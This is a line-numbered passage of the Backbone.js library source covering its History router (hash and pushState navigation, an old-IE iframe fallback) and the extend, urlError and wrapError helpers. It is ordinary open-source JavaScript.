1848 var match = (window || this).location.href.match(/#(.*)$/);
1849 return match ? match[1] : '';
1850 },
1851
1852 // Get the pathname and search params, without the root.
1853 getPath: function() {
1854 var path = this.decodeFragment(
1855 this.location.pathname + this.getSearch()
1856 ).slice(this.root.length - 1);
1857 return path.charAt(0) === '/' ? path.slice(1) : path;
1858 },
1859
1860 // Get the cross-browser normalized URL fragment from the path or hash.
1861 getFragment: function(fragment) {
1862 if (fragment == null) {
1863 if (this._usePushState || !this._wantsHashChange) {
1864 fragment = this.getPath();
1865 } else {
1866 fragment = this.getHash();
1867 }
1868 }
1869 return fragment.replace(routeStripper, '');
1870 },
1871
1872 // Start the hash change handling, returning `true` if the current URL matches
1873 // an existing route, and `false` otherwise.
1874 start: function(options) {
1875 if (History.started) throw new Error('Backbone.history has already been started');
1876 History.started = true;
1877
1878 // Figure out the initial configuration. Do we need an iframe?
1879 // Is pushState desired ... is it available?
1880 this.options = _.extend({root: '/'}, this.options, options);
1881 this.root = this.options.root;
1882 this._trailingSlash = this.options.trailingSlash;
1883 this._wantsHashChange = this.options.hashChange !== false;
1884 this._hasHashChange = 'onhashchange' in window && (document.documentMode === void 0 || document.documentMode > 7);
1885 this._useHashChange = this._wantsHashChange && this._hasHashChange;
1886 this._wantsPushState = !!this.options.pushState;
1887 this._hasPushState = !!(this.history && this.history.pushState);
1888 this._usePushState = this._wantsPushState && this._hasPushState;
1889 this.fragment = this.getFragment();
1890
1891 // Normalize root to always include a leading and trailing slash.
1892 this.root = ('/' + this.root + '/').replace(rootStripper, '/');
1893
1894 // Transition from hashChange to pushState or vice versa if both are
1895 // requested.
1896 if (this._wantsHashChange && this._wantsPushState) {
1897
1898 // If we've started off with a route from a `pushState`-enabled
1899 // browser, but we're currently in a browser that doesn't support it...
1900 if (!this._hasPushState && !this.atRoot()) {
1901 var rootPath = this.root.slice(0, -1) || '/';
1902 this.location.replace(rootPath + '#' + this.getPath());
1903 // Return immediately as browser will do redirect to new url
1904 return true;
1905
1906 // Or if we've started out with a hash-based route, but we're currently
1907 // in a browser where it could be `pushState`-based instead...
1908 } else if (this._hasPushState && this.atRoot()) {
1909 this.navigate(this.getHash(), {replace: true});
1910 }
1911
1912 }
1913
1914 // Proxy an iframe to handle location events if the browser doesn't
1915 // support the `hashchange` event, HTML5 history, or the user wants
1916 // `hashChange` but not `pushState`.
1917 if (!this._hasHashChange && this._wantsHashChange && !this._usePushState) {
1918 this.iframe = document.createElement('iframe');
1919 this.iframe.src = 'javascript:0';
1920 this.iframe.style.display = 'none';
1921 this.iframe.tabIndex = -1;
1922 var body = document.body;
1923 // Using `appendChild` will throw on IE < 9 if the document is not ready.
1924 var iWindow = body.insertBefore(this.iframe, body.firstChild).contentWindow;
1925 iWindow.document.open();
1926 iWindow.document.close();
1927 iWindow.location.hash = '#' + this.fragment;
1928 }
1929
1930 // Add a cross-platform `addEventListener` shim for older browsers.
1931 var addEventListener = window.addEventListener || function(eventName, listener) {
1932 return attachEvent('on' + eventName, listener);
1933 };
1934
1935 // Depending on whether we're using pushState or hashes, and whether
1936 // 'onhashchange' is supported, determine how we check the URL state.
1937 if (this._usePushState) {
1938 addEventListener('popstate', this.checkUrl, false);
1939 } else if (this._useHashChange && !this.iframe) {
1940 addEventListener('hashchange', this.checkUrl, false);
1941 } else if (this._wantsHashChange) {
1942 this._checkUrlInterval = setInterval(this.checkUrl, this.interval);
1943 }
1944
1945 if (!this.options.silent) return this.loadUrl();
1946 },
1947
1948 // Disable Backbone.history, perhaps temporarily. Not useful in a real app,
1949 // but possibly useful for unit testing Routers.
1950 stop: function() {
1951 // Add a cross-platform `removeEventListener` shim for older browsers.
1952 var removeEventListener = window.removeEventListener || function(eventName, listener) {
1953 return detachEvent('on' + eventName, listener);
1954 };
1955
1956 // Remove window listeners.
1957 if (this._usePushState) {
1958 removeEventListener('popstate', this.checkUrl, false);
1959 } else if (this._useHashChange && !this.iframe) {
1960 removeEventListener('hashchange', this.checkUrl, false);
1961 }
1962
1963 // Clean up the iframe if necessary.
1964 if (this.iframe) {
1965 document.body.removeChild(this.iframe);
1966 this.iframe = null;
1967 }
1968
1969 // Some environments will throw when clearing an undefined interval.
1970 if (this._checkUrlInterval) clearInterval(this._checkUrlInterval);
1971 History.started = false;
1972 },
1973
1974 // Add a route to be tested when the fragment changes. Routes added later
1975 // may override previous routes.
1976 route: function(route, callback) {
1977 this.handlers.unshift({route: route, callback: callback});
1978 },
1979
1980 // Checks the current URL to see if it has changed, and if it has,
1981 // calls `loadUrl`, normalizing across the hidden iframe.
1982 checkUrl: function(e) {
1983 var current = this.getFragment();
1984
1985 // If the user pressed the back button, the iframe's hash will have
1986 // changed and we should use that for comparison.
1987 if (current === this.fragment && this.iframe) {
1988 current = this.getHash(this.iframe.contentWindow);
1989 }
1990
1991 if (current === this.fragment) {
1992 if (!this.matchRoot()) return this.notfound();
1993 return false;
1994 }
1995 if (this.iframe) this.navigate(current);
1996 this.loadUrl();
1997 },
1998
1999 // Attempt to load the current URL fragment. If a route succeeds with a
2000 // match, returns `true`. If no defined routes matches the fragment,
2001 // returns `false`.
2002 loadUrl: function(fragment) {
2003 // If the root doesn't match, no routes can match either.
2004 if (!this.matchRoot()) return this.notfound();
2005 fragment = this.fragment = this.getFragment(fragment);
2006 return _.some(this.handlers, function(handler) {
2007 if (handler.route.test(fragment)) {
2008 handler.callback(fragment);
2009 return true;
2010 }
2011 }) || this.notfound();
2012 },
2013
2014 // When no route could be matched, this method is called internally to
2015 // trigger the `'notfound'` event. It returns `false` so that it can be used
2016 // in tail position.
2017 notfound: function() {
2018 this.trigger('notfound');
2019 return false;
2020 },
2021
2022 // Save a fragment into the hash history, or replace the URL state if the
2023 // 'replace' option is passed. You are responsible for properly URL-encoding
2024 // the fragment in advance.
2025 //
2026 // The options object can contain `trigger: true` if you wish to have the
2027 // route callback be fired (not usually desirable), or `replace: true`, if
2028 // you wish to modify the current URL without adding an entry to the history.
2029 navigate: function(fragment, options) {
2030 if (!History.started) return false;
2031 if (!options || options === true) options = {trigger: !!options};
2032
2033 // Normalize the fragment.
2034 fragment = this.getFragment(fragment || '');
2035
2036 // Strip trailing slash on the root unless _trailingSlash is true
2037 var rootPath = this.root;
2038 if (!this._trailingSlash && (fragment === '' || fragment.charAt(0) === '?')) {
2039 rootPath = rootPath.slice(0, -1) || '/';
2040 }
2041 var url = rootPath + fragment;
2042
2043 // Strip the fragment of the query and hash for matching.
2044 fragment = fragment.replace(pathStripper, '');
2045
2046 // Decode for matching.
2047 var decodedFragment = this.decodeFragment(fragment);
2048
2049 if (this.fragment === decodedFragment) return;
2050 this.fragment = decodedFragment;
2051
2052 // If pushState is available, we use it to set the fragment as a real URL.
2053 if (this._usePushState) {
2054 this.history[options.replace ? 'replaceState' : 'pushState']({}, document.title, url);
2055
2056 // If hash changes haven't been explicitly disabled, update the hash
2057 // fragment to store history.
2058 } else if (this._wantsHashChange) {
2059 this._updateHash(this.location, fragment, options.replace);
2060 if (this.iframe && fragment !== this.getHash(this.iframe.contentWindow)) {
2061 var iWindow = this.iframe.contentWindow;
2062
2063 // Opening and closing the iframe tricks IE7 and earlier to push a
2064 // history entry on hash-tag change. When replace is true, we don't
2065 // want this.
2066 if (!options.replace) {
2067 iWindow.document.open();
2068 iWindow.document.close();
2069 }
2070
2071 this._updateHash(iWindow.location, fragment, options.replace);
2072 }
2073
2074 // If you've told us that you explicitly don't want fallback hashchange-
2075 // based history, then `navigate` becomes a page refresh.
2076 } else {
2077 return this.location.assign(url);
2078 }
2079 if (options.trigger) return this.loadUrl(fragment);
2080 },
2081
2082 // Update the hash location, either replacing the current entry, or adding
2083 // a new one to the browser history.
2084 _updateHash: function(location, fragment, replace) {
2085 if (replace) {
2086 var href = location.href.replace(/(javascript:|#).*$/, '');
2087 location.replace(href + '#' + fragment);
2088 } else {
2089 // Some browsers require that `hash` contains a leading #.
2090 location.hash = '#' + fragment;
2091 }
2092 }
2093
2094 });
2095
2096 // Create the default Backbone.history.
2097 Backbone.history = new History;
2098
2099 // Helpers
2100 // -------
2101
2102 // Helper function to correctly set up the prototype chain for subclasses.
2103 // Similar to `goog.inherits`, but uses a hash of prototype properties and
2104 // class properties to be extended.
2105 var extend = function(protoProps, staticProps) {
2106 var parent = this;
2107 var child;
2108
2109 // The constructor function for the new subclass is either defined by you
2110 // (the "constructor" property in your `extend` definition), or defaulted
2111 // by us to simply call the parent constructor.
2112 if (protoProps && _.has(protoProps, 'constructor')) {
2113 child = protoProps.constructor;
2114 } else {
2115 child = function(){ return parent.apply(this, arguments); };
2116 }
2117
2118 // Add static properties to the constructor function, if supplied.
2119 _.extend(child, parent, staticProps);
2120
2121 // Set the prototype chain to inherit from `parent`, without calling
2122 // `parent`'s constructor function and add the prototype properties.
2123 child.prototype = _.create(parent.prototype, protoProps);
2124 child.prototype.constructor = child;
2125
2126 // Set a convenience property in case the parent's prototype is needed
2127 // later.
2128 child.__super__ = parent.prototype;
2129
2130 return child;
2131 };
2132
2133 // Set up inheritance for the model, collection, router, view and history.
2134 Model.extend = Collection.extend = Router.extend = View.extend = History.extend = extend;
2135
2136 // Throw an error when a URL is needed, and none is supplied.
2137 var urlError = function() {
2138 throw new Error('A "url" property or function must be specified');
2139 };
2140
2141 // Wrap an optional error callback with a fallback error event.
2142 var wrapError = function(model, options) {
2143 var error = options.error;
2144 options.error = function(resp) {
2145 if (error) error.call(options.context, model, resp, options);
2146 model.trigger('error', model, resp, options);
2147 };
2148 };
2149
2150 // Provide useful information when things go wrong. This method is not meant
2151 // to be used directly; it merely provides the necessary introspection for the
2152 // external `debugInfo` function.
2153 Backbone._debug = function() {
2154 return {root: root, _: _};
2155 };
2156
2157 return Backbone;
2158});
2159